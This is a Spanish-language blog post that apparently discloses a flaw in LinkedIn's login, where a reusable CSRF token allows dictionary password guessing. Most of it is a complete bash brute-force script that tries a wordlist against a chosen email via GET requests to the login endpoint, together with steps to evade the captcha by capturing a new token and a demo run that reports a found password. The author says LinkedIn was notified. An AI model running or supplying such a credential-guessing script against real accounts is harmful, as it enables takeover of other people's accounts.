Vulnerabilidad en LinkedIn permite obtención de contraseñas

El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token.

La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.

Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el “sourceAlias” y “csrfToken”.
Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL.
El paso siguiente es armar un script que nos ayude a enviar requests hacia el script “login-submit” de LinkedIn, validar la respuesta y comprobar la contraseña.
  1. #!/bin/bash  
  2. #  
  3. # usage: ./linkedin.sh username@domain.com wordlist  
  4. #  
  5.   
  6. TOKEN="ajax%3A1969342887909916588"  
  7. sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"  
  8.   
  9. if [ ! -f $2 ];  
  10. then  
  11.     echo "file $2 does not exists"  
  12.     exit  
  13. fi  
  14.   
  15. _USR=$1  
  16. for _PWD in $(cat $2);  
  17. do  
  18.     if [ $(echo -n $_PWD|wc -c) -lt 6 ];  
  19.     then  
  20.         echo "Ignoring $_PWD (must be grather than 6 chars)"continue  
  21.     fi  
  22.     wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null  
  23.     if [ $? -eq 1 ];  
  24.     then  
  25.         echo "Password found: $_PWD"; exit;  
  26.     fi  
  27. done  
  28.   
  29. echo "Password NOT found. Try later."  
Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable “TOKEN” dentro del script.
A modo de prueba, cree la cuenta “panic@zerial.org” y un diccionario que contiene las siguientes palabras:
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
123456qwerty
12345qwei
112233
Ejecuté el script entregandole los parametros necesarios: sh linkedin.sh panic@zerial.org wordlist y este es el resultado:
Password found: 123456qwerty

Que corresponde a la password de prueba.

Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token.
Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.